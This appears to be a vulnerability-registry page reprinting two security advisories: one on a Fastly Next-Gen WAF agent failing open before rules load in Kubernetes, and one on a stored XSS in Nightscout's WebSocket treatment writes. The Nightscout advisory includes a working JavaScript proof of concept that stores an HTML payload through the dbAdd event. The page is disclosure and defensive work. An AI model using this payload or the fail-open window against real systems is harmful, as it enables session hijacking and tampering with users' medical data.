- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
581 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0576
Vulnerability from gna-1988 – Published: 2026-11-19 04:33 – Updated: 2026-11-19 04:33
VLAI
EPSS
VEX
Title
Fastly Next-Gen WAF (Signal Sciences) agent fails open before rules load in Kubernetes sidecar deployments (vendor disputes; CVE pending)
Summary
Fastly Next-Gen WAF (Signal Sciences) agent: fail-open before rules
load in Kubernetes sidecar deployments
Product: Fastly Next-Gen WAF agent (sigsci-agent) with the NGINX
module, Kubernetes sidecar deployment
Vendor: Fastly, Inc.
Affected: All agent versions in default configuration, through at
least 4.83.2 (tested 2026-11-12). Before 4.52.0 no
mitigation existed. 4.52.0 and later are affected unless
the startup probe is configured.
Weakness: CWE-636 Not Failing Securely ('Failing Open');
CWE-1188 Initialization of a Resource with an Insecure
Default; CWE-696 Incorrect Behavior Order
CVSS 4.0: 6.3 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
CVE: Requested from MITRE CNA-LR 2026-09-29; pending
Vendor
position: Not a vulnerability; intended fail-open design. Will not
change the default.
Mitigation: Configure the agent startup probe (4.52.0+)
Researcher: Zac Lohrenz
Writeup: https://zaclohrenz.com/posts/cve/fastly-nextgen-waf/
Evidence: https://github.com/zaclohrenz/fastly-ngwaf-poc
1. Summary
----------
In the Kubernetes sidecar deployment of Fastly's Next-Gen WAF (NGINX
ingress controller with the sigsci module, plus a sigsci-agent sidecar
sharing a Unix socket), the WAF passes traffic uninspected whenever
the agent has not loaded a ruleset, while the pod reports Ready.
- Until the agent creates its RPC socket, the module cannot connect
(errno=2), logs an error, and passes the request through.
- The agent creates the socket when its first configuration
download attempt ends, whether or not it succeeded. With no
ruleset loaded, it answers every RPC.PreRequest with
WAFResponse 200 and the header "X-SigSci-Agent: disabled", and
keeps doing so until a later download succeeds.
Nothing in the default deployment ties pod readiness to rule load.
Every rollout, restart, eviction and scale-out creates a window, and
any startup failure to fetch configuration extends it for as long as
the failure lasts.
2. Lab testing
--------------
Tested 2026-11-12: sigsci-agent 4.83.2 (index digest
sha256:4aa2f5296b5f2eeb1a71e79643a93afb19ce85a635a21895ff35b2d0701578d2)
and sigsci-nginx-ingress-controller 1.15.1-fastly1.4.0 (index digest
sha256:a4c66bfe5c0b06c6507ce89881ba891711ab3009b2d5d934db192a91e0f452ba),
deployed with Fastly's published sigsci-values.yaml (commit 9794dfb) in
a local kind cluster. Generator at ~20 req/s including SQLi, XSS and
path traversal payloads; echo backend logging all request headers.
Black-box: logs, documented flags, the agent's documented RPC debug
dump, and HTTP headers. No Fastly credentials were available, so the
agent could never load a ruleset.
Phases observed:
Phase Behavior Default signal
-------------------------- ---------------------- -----------------
Socket not yet created Module fails open NGINX [error]
"cannot connect
uds socket" per
request
Socket created, no ruleset Agent answers None in NGINX;
WAFResponse 200 + agent logs only
X-SigSci-Agent: "Config update
disabled failed" ~every 30s
Config-download failure types tested, 3 runs each: connection drop,
HTTP 403 (rejected credentials), DNS NXDOMAIN, TCP reset. All four
produced the same state: 20,304 decoded agent responses, one distinct
value (allow, marked disabled). The state persisted with retries every
~30 s for as long as configuration could not be loaded.
With slow failures (dropped connections) the socket appeared after
~60 s and ~935 requests per run passed during the no-socket phase.
With fast failures it appeared within ~1.7 s. The 60 s figure is an
artifact of how egress was blocked, not a typical duration.
Mitigations tested:
- Startup probe (SIGSCI_STARTUP_PROBE_LISTENER + startupProbe): pod
held out of Service endpoints, zero requests to the upstream,
3 of 3 runs.
- Readiness probe initialDelaySeconds 10/30/60 (vendor-suggested
alternative): traffic, including attack payloads, reached the
upstream after each delay expired.
- No documented module or agent option made either component fail
closed. The experimental debug-standalone=4 removed the
no-socket phase and the "disabled" marker but still allowed every
request.
For contrast, freezing the agent after its socket existed (the
documented timeout path) made the module fail open after ~320 ms per
request, also with no log line at default level. The vendor documents
the timeout behavior; it documents nothing about an agent that answers
with no ruleset loaded.
Per-request evidence of the disabled state appears only with
non-default options, e.g. SIGSCI_STATSD_ADDRESS (counter
sigsci.agent.rpc.tx.dropped.engine_disabled) or
SIGSCI_DEBUG_LOG_UPLOADS (AgentEnabled:0).
Limits: without working credentials, a healthy start was not observed
(whether a valid agent ever opens its socket before its first ruleset
loads, the probe's 503 -> 200 transition, and how these requests appear
in the vendor console). The finding is about failure at startup: in
every failure tested, an agent that could not load its configuration
allowed everything until it could, and the default deployment gave
Kubernetes no readiness signal for it.
Full report, manifests, scripts and raw evidence with SHA-256
checksums: https://github.com/zaclohrenz/fastly-ngwaf-poc
3. Detection
------------
- Agent container spec: look for SIGSCI_STARTUP_PROBE_LISTENER or
SIGSCI_STARTUP_PROBE_FILEPATH AND a startupProbe on the agent
container that checks it. If either is missing, the deployment is
exposed. The env var alone does nothing.
- Backend logs: search request headers for "X-SigSci-Agent:
disabled". Requests that passed while the socket was missing carry
no X-SigSci-* header and will not show up this way.
- Agent logs: "Config update failed" near pod starts.
- Ingress controller logs: "cannot connect uds socket" from the
sigsci module.
4. Mitigation
-------------
On agent 4.52.0 or later, configure the startup probe:
containers:
- name: sigsci-agent
ports:
- name: "startup-port"
containerPort: 2024
env:
- name: SIGSCI_STARTUP_PROBE_LISTENER
value: "0.0.0.0:2024"
startupProbe:
httpGet:
path: /startup
port: startup-port
failureThreshold: 90
periodSeconds: 2
The endpoint returns 503 until rules are loaded. Size failureThreshold
x periodSeconds for the slowest realistic rule fetch; a pod that cannot
load rules within that time is restarted by the kubelet.
Fastly's published Helm values (sigsci-values.yaml and
sigsci-nginxinc-values.yaml, commit 9794dfb, 2026-11-10) deploy the
agent with no startup probe or readiness gate, and no version in that
repository's history has included one. The vendor's docs-site
Kubernetes guides were updated in October 2026 to include the probe.
5. Vendor position
------------------
Fastly's replies, quoted:
2026-10-14: Fastly "does not classify this behavior as a
vulnerability"; fail-open is "a deliberate, foundational design
choice in the Fastly NGWAF architecture designed to prioritize
application availability and continuous traffic flow in the event of
component unavailability, timeouts, or uninitialized states." The
same reply: "we entirely agree with your assessment of the security
implications in a dynamically scaling Kubernetes environment."
2026-10-22: "our install guides and suggested configs don't include"
the startup probe; a CVE is not the right fit "since the right
default varies a lot by deployment type (fail-closed at startup is
ideal for some and an outage for others)."
2026-10-29: not a vulnerability under CNA Operational Rules v4.2.6,
citing 4.1.3.4 ("CNAs MAY determine consistently well-documented and
widely known default configurations to not be Vulnerabilities");
"We won't change the default fail-open behavior in situations where
the agent is not available yet or is experiencing other issues."
2026-11-03: discussion moved to the CNA-LR; Fastly reserves the right
to dispute there. Agent versions 4.52.0 and earlier are past its
two-year support cycle.
2026-11-17: case closed; Fastly will provide its analysis directly
to the CNA-LR if the CVE request proceeds.
Researcher position, in brief: CNA rule 4.1.3.2 is a SHOULD for
defaults that introduce under-documented or unexpected security
behavior, and 4.1.3.3 a SHOULD for defaults that enable direct
exploitation; 4.1.3.4 is a MAY. The vendor's reliability documentation
covers module fail-open on agent timeout but does not describe an agent
answering allow with no ruleset loaded. The vendor stated the agent
"still performs preliminary request handling" while loading its initial
ruleset, but did not answer two written questions (2026-10-30) about
what the agent returns in that state and how operators can detect it.
The lab results above answer them as far as possible without
credentials.
6. Timeline
-----------
Early 2024 Reported to Fastly support (prior employer's account)
2024-03-14 Agent 4.52.0: startup probe options GA; default
unchanged
2026-04-12 Initial public writeup
2026-09-24 Emailed Fastly security requesting classification and
CVE coordination; no acknowledgment
2026-09-29 CVE requested from MITRE CNA-LR
2026-10-06 Report forwarded to Fastly support; case opened
2026-10-14 Fastly: not a vulnerability; agrees with security
implications
2026-10-22 Fastly: guides omit probe; CVE not the right fit
2026-10-29 Fastly final position: not a vulnerability; default
will not change
2026-11-03 Fastly moves discussion to CNA-LR; questions unanswered
2026-11-12 Lab testing on agent 4.83.2
2026-11-17 Fastly closes case; details published
Pending CVE assignment
7. References
-------------
Writeup:
https://zaclohrenz.com/posts/cve/fastly-nextgen-waf/
Evidence:
https://github.com/zaclohrenz/fastly-ngwaf-poc
Agent 4.52.0 changelog:
https://www.fastly.com/documentation/reference/changes/2024/03/ngwaf-agent-4.52.0/
Kubernetes startup probe guide:
https://www.fastly.com/documentation/guides/next-gen-waf/setup-and-configuration/kubernetes/kubernetes-startup-probe/
Agent reliability documentation:
https://www.fastly.com/documentation/guides/next-gen-waf/setup-and-configuration/agent-management/getting-started-with-the-agent/
sigsci-values.yaml at 9794dfb:
https://github.com/signalsciences/sigsci-nginx-ingress-controller/blob/9794dfb38747fb7ec68e4e9286e3164debf1e665/sigsci-values.yaml
CNA Operational Rules v4.2.6:
https://www.cve.org/Resources/Roles/Cnas/CNA_Rules_v4.2.6.pdf
--
Zac Lohrenz
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
11 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Fastly, Inc. | Fastly Next-Gen WAF agent (sigsci-agent) with the NGINX |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Fastly Next-Gen WAF agent (sigsci-agent) with the NGINX",
"vendor": "Fastly, Inc.",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Zac Lohrenz"
}
],
"descriptions": [
{
"lang": "en",
"value": "Fastly Next-Gen WAF (Signal Sciences) agent: fail-open before rules\nload in Kubernetes sidecar deployments\n\nProduct: Fastly Next-Gen WAF agent (sigsci-agent) with the NGINX\n module, Kubernetes sidecar deployment\nVendor: Fastly, Inc.\nAffected: All agent versions in default configuration, through at\n least 4.83.2 (tested 2026-11-12). Before 4.52.0 no\n mitigation existed. 4.52.0 and later are affected unless\n the startup probe is configured.\nWeakness: CWE-636 Not Failing Securely (\u0027Failing Open\u0027);\n CWE-1188 Initialization of a Resource with an Insecure\n Default; CWE-696 Incorrect Behavior Order\nCVSS 4.0: 6.3 Medium\n CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N\nCVE: Requested from MITRE CNA-LR 2026-09-29; pending\nVendor\nposition: Not a vulnerability; intended fail-open design. Will not\n change the default.\nMitigation: Configure the agent startup probe (4.52.0+)\nResearcher: Zac Lohrenz\nWriteup: https://zaclohrenz.com/posts/cve/fastly-nextgen-waf/\nEvidence: https://github.com/zaclohrenz/fastly-ngwaf-poc\n\n\n1. Summary\n----------\n\nIn the Kubernetes sidecar deployment of Fastly\u0027s Next-Gen WAF (NGINX\ningress controller with the sigsci module, plus a sigsci-agent sidecar\nsharing a Unix socket), the WAF passes traffic uninspected whenever\nthe agent has not loaded a ruleset, while the pod reports Ready.\n\n - Until the agent creates its RPC socket, the module cannot connect\n (errno=2), logs an error, and passes the request through.\n - The agent creates the socket when its first configuration\n download attempt ends, whether or not it succeeded. With no\n ruleset loaded, it answers every RPC.PreRequest with\n WAFResponse 200 and the header \"X-SigSci-Agent: disabled\", and\n keeps doing so until a later download succeeds.\n\nNothing in the default deployment ties pod readiness to rule load.\nEvery rollout, restart, eviction and scale-out creates a window, and\nany startup failure to fetch configuration extends it for as long as\nthe failure lasts.\n\n\n2. Lab testing\n--------------\n\nTested 2026-11-12: sigsci-agent 4.83.2 (index digest\nsha256:4aa2f5296b5f2eeb1a71e79643a93afb19ce85a635a21895ff35b2d0701578d2)\nand sigsci-nginx-ingress-controller 1.15.1-fastly1.4.0 (index digest\nsha256:a4c66bfe5c0b06c6507ce89881ba891711ab3009b2d5d934db192a91e0f452ba),\ndeployed with Fastly\u0027s published sigsci-values.yaml (commit 9794dfb) in\na local kind cluster. Generator at ~20 req/s including SQLi, XSS and\npath traversal payloads; echo backend logging all request headers.\nBlack-box: logs, documented flags, the agent\u0027s documented RPC debug\ndump, and HTTP headers. No Fastly credentials were available, so the\nagent could never load a ruleset.\n\nPhases observed:\n\n Phase Behavior Default signal\n -------------------------- ---------------------- -----------------\n Socket not yet created Module fails open NGINX [error]\n \"cannot connect\n uds socket\" per\n request\n Socket created, no ruleset Agent answers None in NGINX;\n WAFResponse 200 + agent logs only\n X-SigSci-Agent: \"Config update\n disabled failed\" ~every 30s\n\nConfig-download failure types tested, 3 runs each: connection drop,\nHTTP 403 (rejected credentials), DNS NXDOMAIN, TCP reset. All four\nproduced the same state: 20,304 decoded agent responses, one distinct\nvalue (allow, marked disabled). The state persisted with retries every\n~30 s for as long as configuration could not be loaded.\n\nWith slow failures (dropped connections) the socket appeared after\n~60 s and ~935 requests per run passed during the no-socket phase.\nWith fast failures it appeared within ~1.7 s. The 60 s figure is an\nartifact of how egress was blocked, not a typical duration.\n\nMitigations tested:\n\n - Startup probe (SIGSCI_STARTUP_PROBE_LISTENER + startupProbe): pod\n held out of Service endpoints, zero requests to the upstream,\n 3 of 3 runs.\n - Readiness probe initialDelaySeconds 10/30/60 (vendor-suggested\n alternative): traffic, including attack payloads, reached the\n upstream after each delay expired.\n - No documented module or agent option made either component fail\n closed. The experimental debug-standalone=4 removed the\n no-socket phase and the \"disabled\" marker but still allowed every\n request.\n\nFor contrast, freezing the agent after its socket existed (the\ndocumented timeout path) made the module fail open after ~320 ms per\nrequest, also with no log line at default level. The vendor documents\nthe timeout behavior; it documents nothing about an agent that answers\nwith no ruleset loaded.\n\nPer-request evidence of the disabled state appears only with\nnon-default options, e.g. SIGSCI_STATSD_ADDRESS (counter\nsigsci.agent.rpc.tx.dropped.engine_disabled) or\nSIGSCI_DEBUG_LOG_UPLOADS (AgentEnabled:0).\n\nLimits: without working credentials, a healthy start was not observed\n(whether a valid agent ever opens its socket before its first ruleset\nloads, the probe\u0027s 503 -\u003e 200 transition, and how these requests appear\nin the vendor console). The finding is about failure at startup: in\nevery failure tested, an agent that could not load its configuration\nallowed everything until it could, and the default deployment gave\nKubernetes no readiness signal for it.\n\nFull report, manifests, scripts and raw evidence with SHA-256\nchecksums: https://github.com/zaclohrenz/fastly-ngwaf-poc\n\n\n3. Detection\n------------\n\n - Agent container spec: look for SIGSCI_STARTUP_PROBE_LISTENER or\n SIGSCI_STARTUP_PROBE_FILEPATH AND a startupProbe on the agent\n container that checks it. If either is missing, the deployment is\n exposed. The env var alone does nothing.\n - Backend logs: search request headers for \"X-SigSci-Agent:\n disabled\". Requests that passed while the socket was missing carry\n no X-SigSci-* header and will not show up this way.\n - Agent logs: \"Config update failed\" near pod starts.\n - Ingress controller logs: \"cannot connect uds socket\" from the\n sigsci module.\n\n\n4. Mitigation\n-------------\n\nOn agent 4.52.0 or later, configure the startup probe:\n\n containers:\n - name: sigsci-agent\n ports:\n - name: \"startup-port\"\n containerPort: 2024\n env:\n - name: SIGSCI_STARTUP_PROBE_LISTENER\n value: \"0.0.0.0:2024\"\n startupProbe:\n httpGet:\n path: /startup\n port: startup-port\n failureThreshold: 90\n periodSeconds: 2\n\nThe endpoint returns 503 until rules are loaded. Size failureThreshold\nx periodSeconds for the slowest realistic rule fetch; a pod that cannot\nload rules within that time is restarted by the kubelet.\n\nFastly\u0027s published Helm values (sigsci-values.yaml and\nsigsci-nginxinc-values.yaml, commit 9794dfb, 2026-11-10) deploy the\nagent with no startup probe or readiness gate, and no version in that\nrepository\u0027s history has included one. The vendor\u0027s docs-site\nKubernetes guides were updated in October 2026 to include the probe.\n\n\n5. Vendor position\n------------------\n\nFastly\u0027s replies, quoted:\n\n 2026-10-14: Fastly \"does not classify this behavior as a\n vulnerability\"; fail-open is \"a deliberate, foundational design\n choice in the Fastly NGWAF architecture designed to prioritize\n application availability and continuous traffic flow in the event of\n component unavailability, timeouts, or uninitialized states.\" The\n same reply: \"we entirely agree with your assessment of the security\n implications in a dynamically scaling Kubernetes environment.\"\n\n 2026-10-22: \"our install guides and suggested configs don\u0027t include\"\n the startup probe; a CVE is not the right fit \"since the right\n default varies a lot by deployment type (fail-closed at startup is\n ideal for some and an outage for others).\"\n\n 2026-10-29: not a vulnerability under CNA Operational Rules v4.2.6,\n citing 4.1.3.4 (\"CNAs MAY determine consistently well-documented and\n widely known default configurations to not be Vulnerabilities\");\n \"We won\u0027t change the default fail-open behavior in situations where\n the agent is not available yet or is experiencing other issues.\"\n\n 2026-11-03: discussion moved to the CNA-LR; Fastly reserves the right\n to dispute there. Agent versions 4.52.0 and earlier are past its\n two-year support cycle.\n\n 2026-11-17: case closed; Fastly will provide its analysis directly\n to the CNA-LR if the CVE request proceeds.\n\nResearcher position, in brief: CNA rule 4.1.3.2 is a SHOULD for\ndefaults that introduce under-documented or unexpected security\nbehavior, and 4.1.3.3 a SHOULD for defaults that enable direct\nexploitation; 4.1.3.4 is a MAY. The vendor\u0027s reliability documentation\ncovers module fail-open on agent timeout but does not describe an agent\nanswering allow with no ruleset loaded. The vendor stated the agent\n\"still performs preliminary request handling\" while loading its initial\nruleset, but did not answer two written questions (2026-10-30) about\nwhat the agent returns in that state and how operators can detect it.\nThe lab results above answer them as far as possible without\ncredentials.\n\n\n6. Timeline\n-----------\n\n Early 2024 Reported to Fastly support (prior employer\u0027s account)\n 2024-03-14 Agent 4.52.0: startup probe options GA; default\n unchanged\n 2026-04-12 Initial public writeup\n 2026-09-24 Emailed Fastly security requesting classification and\n CVE coordination; no acknowledgment\n 2026-09-29 CVE requested from MITRE CNA-LR\n 2026-10-06 Report forwarded to Fastly support; case opened\n 2026-10-14 Fastly: not a vulnerability; agrees with security\n implications\n 2026-10-22 Fastly: guides omit probe; CVE not the right fit\n 2026-10-29 Fastly final position: not a vulnerability; default\n will not change\n 2026-11-03 Fastly moves discussion to CNA-LR; questions unanswered\n 2026-11-12 Lab testing on agent 4.83.2\n 2026-11-17 Fastly closes case; details published\n Pending CVE assignment\n\n\n7. References\n-------------\n\n Writeup:\n https://zaclohrenz.com/posts/cve/fastly-nextgen-waf/\n Evidence:\n https://github.com/zaclohrenz/fastly-ngwaf-poc\n Agent 4.52.0 changelog:\n https://www.fastly.com/documentation/reference/changes/2024/03/ngwaf-agent-4.52.0/\n Kubernetes startup probe guide:\n https://www.fastly.com/documentation/guides/next-gen-waf/setup-and-configuration/kubernetes/kubernetes-startup-probe/\n Agent reliability documentation:\n \nhttps://www.fastly.com/documentation/guides/next-gen-waf/setup-and-configuration/agent-management/getting-started-with-the-agent/\n sigsci-values.yaml at 9794dfb:\n \nhttps://github.com/signalsciences/sigsci-nginx-ingress-controller/blob/9794dfb38747fb7ec68e4e9286e3164debf1e665/sigsci-values.yaml\n CNA Operational Rules v4.2.6:\n https://www.cve.org/Resources/Roles/Cnas/CNA_Rules_v4.2.6.pdf\n\n--\nZac Lohrenz\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0575
Vulnerability from gna-1988 – Published: 2026-11-17 19:38 – Updated: 2026-11-17 19:38
VLAI
EPSS
VEX
Title
Nightscout < 15.0.8: Stored XSS via WebSocket Treatment Writes (GHSA-5mrq-gpqw-q5v5)
Summary
=========================================================================
Product: Nightscout Web Monitor (aka. cgm-remote-monitor)
Repository: https://github.com/nightscout/cgm-remote-monitor
Vulnerability: CWE-79
(Improper Neutralization of Input During Web Page
Generation)
Affected: >= 0.8.1, < 15.0.8
Fixed: 15.0.8
Severity: Critical
GHSA: GHSA-5mrq-gpqw-q5v5
CVE: Awaiting assignment
CVSS v4.0: AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
1. Product Description
----------------------
Nightscout is an open-source web application for displaying and sharing
continuous glucose monitoring (CGM) data. It can integrate data from
CGMs, insulin pumps, automated insulin delivery systems, and related
diabetes-management software.
Nightscout installations may contain sensitive health and
medical-device information, including glucose measurements, insulin
delivery information, treatment records, insulin-pump status, and
telemetry generated by automated insulin delivery systems.
The project is maintained at:
https://github.com/nightscout/cgm-remote-monitor
2. Summary
----------
Nightscout contains a stored cross-site scripting vulnerability in the
handling and display of treatment records written through its main
Socket.IO connection.
An authenticated client with permission to create or modify treatments
can store unsanitised HTML in treatment fields such as 'notes' or
'enteredBy'. When another user hovers over the affected treatment in
the Nightscout dashboard, the treatment tooltip inserts these fields
into the page as HTML.
Attacker-controlled JavaScript can consequently execute in the
Nightscout origin with the permissions and authenticated context of the
user viewing the malicious treatment.
3. Details
----------
Nightscout exposes treatment write operations through its main
Socket.IO connection. A client with the required treatment permissions
can use the 'dbAdd' event to create a treatment containing
attacker-controlled values.
The minimum relevant permission scopes for the demonstrated attack are:
api:treatments:create
api:treatments:delete
api:treatments:update
Nightscout's REST treatment creation path sanitizes submitted objects
before storing them. The corresponding WebSocket treatment write path,
however, writes treatment objects without passing them through the same
purification process.
The affected WebSocket handling is located in:
'lib/server/websocket.js'
The stored treatment is later displayed by client-side rendering code
in:
'lib/client/renderer.js'
Treatment tooltip rendering inserts fields including 'notes' and
'enteredBy' into the document using '.html()'. As a result, HTML stored
through the WebSocket write path is interpreted as markup rather than
displayed as text.
The combination of an unsanitized WebSocket write path and an HTML
rendering sink therefore creates a persistent cross-site scripting
condition.
4. Impact
---------
An authenticated attacker with treatment write permissions can create
a treatment containing malicious HTML or JavaScript.
The payload is stored by Nightscout and subsequently delivered to other
users viewing the affected treatment. When a user triggers the
treatment tooltip, attacker-controlled JavaScript executes within that
user's Nightscout origin.
The injected script executes in the authenticated browser context of
the victim rather than with only the attacker's original treatment
permissions. As a result, the script can interact with Nightscout using
the permissions available to the victim.
If the victim has elevated or administrative permissions, this may
allow the attacker-controlled script to perform privileged Nightscout
operations available to that user, including modification of treatment
data or other administrative actions exposed to the authenticated
client.
The vulnerability therefore permits privilege escalation from a client
with treatment write access to actions available through the session of
a more highly privileged user who views the malicious treatment.
5. Proof of Concept
-------------------
The following proof of concept uses an existing authenticated Nightscout
browser session. The client must have the treatment permissions required
to create the malicious treatment.
(() => {
const c = window.Nightscout?.client;
if (!c?.socket?.connected) {
throw new Error("Nightscout connection unavailable.");
}
c.socket.emit("authorize", {
client: "web",
secret: c.authorized?.token ? null : c.hashauth.hash(),
token: c.authorized?.token
}, console.log);
const marker = `NS-XSS-POC-${Date.now()}`;
const payload =
`<img src="data:image/gif;base64,` +
`R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==" ` +
`onload="document.title='${marker}'">`;
c.socket.emit("dbAdd", {
collection: "treatments",
data: {
eventType: "Note",
created_at: new Date(Date.now() - 300000).toISOString(),
duration: 10,
enteredBy: "PoC",
notes: payload
}
}, (res) => {
const id = res?.[0]?._id;
if (!id) return console.error("Failed:", res);
localStorage.setItem("nsXssPocId", id);
console.log("Created PoC:", { id, marker });
location.reload();
});
})();
The proof of concept stores an image element whose 'onload' handler
changes the document title. This provides a visible demonstration of
JavaScript execution without performing privileged Nightscout actions.
After the treatment has been stored and the page reloaded, hovering
over the malicious treatment causes the payload to execute.
6. Affected Versions
--------------------
Nightscout versions >= 0.8.1 and < 15.0.8 are affected.
The vulnerable behaviour results from the combination of the WebSocket
treatment write path accepting unsanitized treatment fields and the
client-side treatment tooltip rendering those fields as HTML.
Nightscout 15.0.8 contains the fix.
7. Remediation
--------------
Users should update to Nightscout 15.0.8 or later, which contains the
fix for this vulnerability.
The fix prevents treatment data written through the affected WebSocket
path from reaching an executable HTML rendering context without
appropriate sanitization.
Users should upgrade even where treatment write access is restricted,
as exploitation requires only treatment write permissions and the
stored payload may subsequently execute in the browser of a more
privileged Nightscout user.
8. Workaround
-------------
Upgrading to Nightscout 15.0.8 or later is the recommended remediation.
If an affected installation cannot be upgraded immediately, operators
should restrict treatment write permissions to trusted users and
clients until the upgrade can be completed.
This reduces exposure but does not correct the underlying discrepancy
between the WebSocket treatment write path and treatment rendering, and
should not be treated as a substitute for upgrading.
9. CVSS
-------
Severity: Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
Attack vector: Network
Attack complexity: Low
Attack requirements: None
Privileges required: Low
User interaction: Passive
Vulnerable system: High confidentiality and integrity impact; no
availability impact.
Subsequent system: High confidentiality and integrity impact; no
availability impact.
10. References
-------------
Research report:
https://www.scstudios.tech/research/GHSA-5mrq-gpqw-q5v5
Nightscout:
https://github.com/nightscout/cgm-remote-monitor
GitHub Security Advisory:
https://github.com/nightscout/cgm-remote-monitor/security/advisories/
GHSA-5mrq-gpqw-q5v5
CWE-79:
https://cwe.mitre.org/data/definitions/79.html
Fix:
https://github.com/nightscout/cgm-remote-monitor/pull/8591
Fixed release:
https://github.com/nightscout/cgm-remote-monitor/releases/tag/v15.0.8
10. Timeline
------------
2026-09-01 Vulnerability privately reported to a Nightscout maintainer,
with a proof of concept and a demonstration video.
2026-09-02 Private GitHub security report GHSA-5mrq-gpqw-q5v5 submitted.
A temporary private fork was created for the report.
2026-09-02 Fix merged in PR #8591 (20:20 UTC, 3 September in Hobart).
2026-09-04 Nightscout 15.0.8 released containing the fix (18:27 UTC,
5 September in Hobart).
2026-09-06 Reporter requested that the advisory be accepted as a draft
and reported submitting a CVE request to MITRE.
2026-09-17 Reporter notified the maintainer of an intention to publish
a technical disclosure that week and invited objections.
2026-09-19 Maintainer accepted the GitHub security report.
2026-09-22 Reporter joined the Nightscout security team and requested
a CVE through GitHub.
2026-09-26 CVE request repeated through GitHub. Further requests were
made during October; no CVE ID had been assigned at the
time of preparing this disclosure.
2026-10-30 Reporter followed up with the maintainer about publication
of the disclosure, noting that the fix was in 15.0.8.
2026-11-13 Maintainer acknowledged the proposed coordinated
publication of the disclosure and GHSA.
2026-11-16 Public disclosure and publication.
--
Ruben Sutton
Software Developer & Security Researcher
SuperCode Studios
https://www.scstudios.tech/
PGP: FE673 AD759 DC01A 264DC 933FD 4B425 66BB8 B28FA_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
11 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Nightscout Web Monitor (aka. cgm-remote-monitor) |
Affected:
unknown
|
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"value": "=========================================================================\n\nProduct: Nightscout Web Monitor (aka. cgm-remote-monitor)\nRepository: https://github.com/nightscout/cgm-remote-monitor\nVulnerability: CWE-79\n (Improper Neutralization of Input During Web Page\n Generation)\nAffected: \u003e= 0.8.1, \u003c 15.0.8\nFixed: 15.0.8\nSeverity: Critical\nGHSA: GHSA-5mrq-gpqw-q5v5\nCVE: Awaiting assignment\nCVSS v4.0: AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N\n\n1. Product Description\n----------------------\nNightscout is an open-source web application for displaying and sharing\ncontinuous glucose monitoring (CGM) data. It can integrate data from\nCGMs, insulin pumps, automated insulin delivery systems, and related\ndiabetes-management software.\n\nNightscout installations may contain sensitive health and\nmedical-device information, including glucose measurements, insulin\ndelivery information, treatment records, insulin-pump status, and\ntelemetry generated by automated insulin delivery systems.\n\nThe project is maintained at:\n\nhttps://github.com/nightscout/cgm-remote-monitor\n\n2. Summary\n----------\nNightscout contains a stored cross-site scripting vulnerability in the\nhandling and display of treatment records written through its main\nSocket.IO connection.\n\nAn authenticated client with permission to create or modify treatments\ncan store unsanitised HTML in treatment fields such as \u0027notes\u0027 or\n\u0027enteredBy\u0027. When another user hovers over the affected treatment in\nthe Nightscout dashboard, the treatment tooltip inserts these fields\ninto the page as HTML.\n\nAttacker-controlled JavaScript can consequently execute in the\nNightscout origin with the permissions and authenticated context of the\nuser viewing the malicious treatment.\n\n3. Details\n----------\nNightscout exposes treatment write operations through its main\nSocket.IO connection. A client with the required treatment permissions\ncan use the \u0027dbAdd\u0027 event to create a treatment containing\nattacker-controlled values.\n\nThe minimum relevant permission scopes for the demonstrated attack are:\n\napi:treatments:create\napi:treatments:delete\napi:treatments:update\n\nNightscout\u0027s REST treatment creation path sanitizes submitted objects\nbefore storing them. The corresponding WebSocket treatment write path,\nhowever, writes treatment objects without passing them through the same\npurification process.\n\nThe affected WebSocket handling is located in:\n\n\u0027lib/server/websocket.js\u0027\n\nThe stored treatment is later displayed by client-side rendering code\nin:\n\n\u0027lib/client/renderer.js\u0027\n\nTreatment tooltip rendering inserts fields including \u0027notes\u0027 and\n\u0027enteredBy\u0027 into the document using \u0027.html()\u0027. As a result, HTML stored\nthrough the WebSocket write path is interpreted as markup rather than\ndisplayed as text.\n\nThe combination of an unsanitized WebSocket write path and an HTML\nrendering sink therefore creates a persistent cross-site scripting\ncondition.\n\n4. Impact\n---------\nAn authenticated attacker with treatment write permissions can create\na treatment containing malicious HTML or JavaScript.\n\nThe payload is stored by Nightscout and subsequently delivered to other\nusers viewing the affected treatment. When a user triggers the\ntreatment tooltip, attacker-controlled JavaScript executes within that\nuser\u0027s Nightscout origin.\n\nThe injected script executes in the authenticated browser context of\nthe victim rather than with only the attacker\u0027s original treatment\npermissions. As a result, the script can interact with Nightscout using\nthe permissions available to the victim.\n\nIf the victim has elevated or administrative permissions, this may\nallow the attacker-controlled script to perform privileged Nightscout\noperations available to that user, including modification of treatment\ndata or other administrative actions exposed to the authenticated\nclient.\n\nThe vulnerability therefore permits privilege escalation from a client\nwith treatment write access to actions available through the session of\na more highly privileged user who views the malicious treatment.\n\n5. Proof of Concept\n-------------------\nThe following proof of concept uses an existing authenticated Nightscout\nbrowser session. The client must have the treatment permissions required\nto create the malicious treatment.\n\n\n (() =\u003e {\n const c = window.Nightscout?.client;\n if (!c?.socket?.connected) {\n throw new Error(\"Nightscout connection 